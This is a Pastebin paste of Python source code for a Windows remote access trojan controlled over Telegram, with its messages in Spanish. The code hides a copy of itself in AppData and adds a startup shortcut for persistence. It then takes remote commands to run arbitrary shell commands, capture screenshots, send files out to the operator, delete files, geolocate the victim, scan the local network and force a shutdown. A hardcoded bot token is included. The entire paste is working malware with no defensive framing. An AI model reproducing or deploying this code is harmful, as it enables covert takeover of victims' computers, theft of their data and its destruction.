Advertisement
Guest User

Untitled

a guest
Feb 23rd, 2019
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 12.96 KB | None | 0 0
  1. from telepot.namedtuple import InlineKeyboardMarkup, InlineKeyboardButton
  2. import telepot, requests
  3. import time
  4. import os, os.path, platform, ctypes
  5. from winshell import startup
  6. from win32com.client import Dispatch
  7. from shutil import copyfile, copyfileobj, rmtree, move
  8. from sys import argv, path, stdout
  9. import sys
  10. import pythoncom
  11. from PIL import ImageGrab
  12. import urllib.request
  13. import ctypes
  14. from subprocess import Popen, PIPE, check_output
  15. from getpass import getuser
  16. import socket
  17. from json import loads
  18.  
  19. token = '725803858:AAHSDtzv-r7ejZMyG9vQP4CuUXw6T9o74XA'
  20. known_ids = []
  21. app_name = 'Echeter'
  22. appdata_roaming_folder = os.environ['APPDATA']
  23. hide_folder = appdata_roaming_folder + '\\' + app_name
  24. compiled_name = app_name + '.exe'
  25. target_shortcut = startup() + '\\' + compiled_name.replace('.exe', '.lnk')
  26. if not os.path.exists(hide_folder):
  27.     os.makedirs(hide_folder)
  28.     hide_compiled = hide_folder + '\\' + compiled_name
  29.     copyfile(argv[0], hide_compiled)
  30.     shell = Dispatch('WScript.Shell')
  31.     shortcut = shell.CreateShortCut(target_shortcut)
  32.     shortcut.Targetpath = hide_compiled
  33.     shortcut.WorkingDirectory = hide_folder
  34.     shortcut.save()
  35.  
  36. def checkchat_id(chat_id):
  37.     return len(known_ids) == 0 or str(chat_id) in known_ids
  38.  
  39. def internalIP():
  40.     internal_ip = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  41.     internal_ip.connect(('google.com', 0))
  42.     return internal_ip.getsockname()[0]
  43.  
  44. def split_string(n, st):
  45.     lst = ['']
  46.     for i in str(st):
  47.         l = len(lst) - 1
  48.         if len(lst[l]) < n:
  49.             lst[l] += i
  50.         else:
  51.             lst += [i]
  52.     return lst
  53.  
  54. def send_safe_message(bot, chat_id, message):
  55.     while(True):
  56.         try:
  57.             print(format(bot.sendMessage(chat_id, message)),True)
  58.             break
  59.         except:
  60.             pass
  61.  
  62. def handle(msg):
  63.             chat_id = msg['chat']['id']
  64.             if checkchat_id(chat_id):
  65.                     response = ''
  66.                     if 'text' in msg:
  67.                         command = msg['text']
  68.                         try:
  69.                             if command == '/capture_pc':
  70.                                 bot.sendChatAction(chat_id, 'typing')
  71.                                 screenshot = ImageGrab.grab()
  72.                                 screenshot.save('screenshot.jpg')
  73.                                 bot.sendChatAction(chat_id, 'upload_photo')
  74.                                 bot.sendDocument(chat_id, open('screenshot.jpg', 'rb'))
  75.                                 os.remove('screenshot.jpg')
  76.                             elif command == '/arp':
  77.                                 response = ''
  78.                                 bot.sendChatAction(chat_id, 'typing')
  79.                                 lines = os.popen('arp -a -N ' + internalIP())
  80.                                 for line in lines:
  81.                                     line.replace('\n\n', '\n')
  82.                                     response += line
  83.                             elif command.startswith('/cd'):
  84.                                 command = command.replace('/cd ','')
  85.                                 try:
  86.                                     os.chdir(command)
  87.                                 except:
  88.                                     response = 'Especifica una carpeta para ' + command
  89.                             elif command.startswith('/download'):
  90.                                 bot.sendChatAction(chat_id, 'typing')
  91.                                 path_file = command.replace('/download', '')
  92.                                 path_file = path_file[1:]
  93.                                 if path_file == '':
  94.                                     response = '/download C:/path/ or /download archivo'
  95.                                 else:
  96.                                     bot.sendChatAction(chat_id, 'upload_document')
  97.                                     try:
  98.                                         bot.sendDocument(chat_id, open(path_file, 'rb'))
  99.                                     except:
  100.                                         try:
  101.                                             bot.sendDocument(chat_id, open(hide_folder + '\\' + path_file))
  102.                                             response = 'En carpeta oculta: ' + hide_folder
  103.                                         except:
  104.                                             response = '404 '
  105.                             elif command.startswith('/cmdexec'):
  106.                                 command = command.replace('/cmdexec', '')
  107.                                 Davo = check_output(command, shell = True)
  108.                                 response = (''.join(map(chr, Davo)))
  109.                             elif command.startswith('/delete'):
  110.                                 command = command.replace('/delete', '')
  111.                                 path_file = command.strip()
  112.                                 try:
  113.                                     os.remove(path_file)
  114.                                     response = 'Archivo eliminado'
  115.                                 except:
  116.                                     try:
  117.                                         os.rmdir(path_file)
  118.                                         response = 'Carpeta eliminada'
  119.                                     except:
  120.                                         try:
  121.                                             shutil.rmtree(path_file)
  122.                                             response = 'Carpeta y sus archivos eliminados'
  123.                                         except:
  124.                                             response = '404'
  125.                             elif command == '/ip_info':
  126.                                 bot.sendChatAction(chat_id, 'find_location')
  127.                                 info = requests.get('http://ipinfo.io').text
  128.                                 location = (loads(info)['loc']).split(',')
  129.                                 bot.sendLocation(chat_id, location[0], location[1])
  130.                                 import string
  131.                                 import re
  132.                                 response = 'External IP: '
  133.                                 response += "".join(filter(lambda char: char in string.printable, info))
  134.                                 response = re.sub('[:,{}\t\"]', '', response)
  135.                                 response += '\n' + 'Internal IP: ' + '\n\t' + internalIP()
  136.                             elif command.startswith('/msg_box'):
  137.                                 message = command.replace('/msg_box', '')
  138.                                 if message == '':
  139.                                     response = '/msg_box texto'
  140.                                 else:
  141.                                     ctypes.windll.user32.MessageBoxW(0, message, u'Information', 0x40)
  142.                                     response = 'Completado'
  143.                             elif command.startswith('/ls'):
  144.                                 bot.sendChatAction(chat_id, 'typing')
  145.                                 command = command.replace('/ls', '')
  146.                                 command = command.strip()
  147.                                 files = []
  148.                                 if len(command) > 0:
  149.                                     files = os.listdir(command)
  150.                                 else:
  151.                                     files = os.listdir(os.getcwd())
  152.                                 human_readable = ''
  153.                                 for file in files:
  154.                                     human_readable += file + '\n'
  155.                                 response = human_readable
  156.                             elif command.startswith('/mv'):
  157.                                 command = command.replace('/mv', '')
  158.                                 if len(command) > 0:
  159.                                     try:
  160.                                         file1 = command.split('"')[1]
  161.                                         file2 = command.split('"')[3]
  162.                                         move(file1, file2)
  163.                                         response = 'Archivos movidos.'
  164.                                     except Exception as e:
  165.                                         response = 'Error: \n' + str(e)
  166.                                 else:
  167.                                     response = 'Uso: \n/mv "C:/Users/username/Desktop/archivo.jpg" "C:/Users/username"'
  168.                                     response += '\n\nComillas necesarias'
  169.                             elif command == '/pc_info':
  170.                                 bot.sendChatAction(chat_id, 'typing')
  171.                                 info = ''
  172.                                 for pc_info in platform.uname():
  173.                                     info += '\n' + pc_info
  174.                                 info += '\n' + 'Username: ' + getuser()
  175.                                 response = info
  176.                             elif command == '/ping':
  177.                                 response = platform.uname()[1] + ' :D'
  178.                             elif command == '/pwd':
  179.                                 response = os.getcwd()
  180.                             elif command == '/reboot':
  181.                                 bot.sendChatAction(chat_id, 'typing')
  182.                                 command = os.popen('shutdown /r /f /t 0')
  183.                                 response = 'Reiniciando...'
  184.                             elif command == '/shutdown':
  185.                                 bot.sendChatAction(chat_id, 'typing')
  186.                                 command = os.popen('shutdown /s /f /t 0')
  187.                                 response = 'Apagando...'
  188.                             elif command.startswith('/wallpaper'):
  189.                                 command = command.replace('/wallpaper', '')
  190.                                 command = command.strip()
  191.                                 if len(command) == 0:
  192.                                         response = 'Uso: /wallpaper C:/Users/username/archivo.jpg o /wallpaper <URL>'
  193.                                 elif command.startswith('http'):
  194.                                         image = command.rsplit('/',1)[1]
  195.                                         image = hide_folder + '/' + image
  196.                                         urllib.request.urlretrieve(command, image)
  197.                                         ctypes.windll.user32.SystemParametersInfoW(20, 0, image, 3)
  198.                                 else:
  199.                                         ctypes.windll.user32.SystemParametersInfoW(20, 0, command.replace('/', '//'), 3)
  200.                                         response = 'Fondo de pantalla configurado.'
  201.                             elif command == '/help':
  202.                                 functionalities = {
  203.                                     '/capture_pc' : '', \
  204.                                     '/cmdexec':'<comando>', \
  205.                                     '/cd':'<carpeta>', \
  206.                                     '/delete':'<archivo>', \
  207.                                     '/download':'<archivo>', \
  208.                                     '/ip_info':'', \
  209.                                     '/arp':'', \
  210.                                     '/ping':'', \
  211.                                     '/ls':'[carpeta]', \
  212.                                     '/msg_box':'<texto>', \
  213.                                     '/pc_info':'', \
  214.                                     '/pwd':'', \
  215.                                     '/reboot':'', \
  216.                                     '/shutdown':'', \
  217.                                     '/mv <archivo>':'', \
  218.                                     '/wallpaper':'<archivo o URL>'}
  219.                                 response = "\n".join(command + ' ' + description for command,description in sorted(functionalities.items()))
  220.                             else:
  221.                                 msg = {'text' : '/help', 'chat' : { 'id' : chat_id }}
  222.                                 handle(msg)
  223.                         except Exception as e:
  224.                             print(f'ERROR: {e}')
  225.                     else:
  226.                         file_name = ''
  227.                         file_id = None
  228.                         if 'document' in msg:
  229.                             file_name = msg['document']['file_name']
  230.                             file_id = msg['document']['file_id']
  231.                         elif 'photo' in msg:
  232.                             file_id = msg['photo'][1]['file_id']
  233.                             file_name = file_id + '.jpg'
  234.                         file_path = bot.getFile(file_id=file_id)['file_path']
  235.                         link = 'https://api.telegram.org/file/bot' + str(token) + '/' + file_path
  236.                         file = (requests.get(link, stream=True)).raw
  237.                         with open(hide_folder + '\\' + file_name, 'wb') as out_file:
  238.                             copyfileobj(file, out_file)
  239.                         response = 'File saved as ' + file_name
  240.             if response != '':
  241.                 responses = split_string(4096, response)
  242.                 for resp in responses:
  243.                     send_safe_message(bot, chat_id, resp)
  244. bot = telepot.Bot(token)
  245. bot.message_loop(handle)
  246. pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement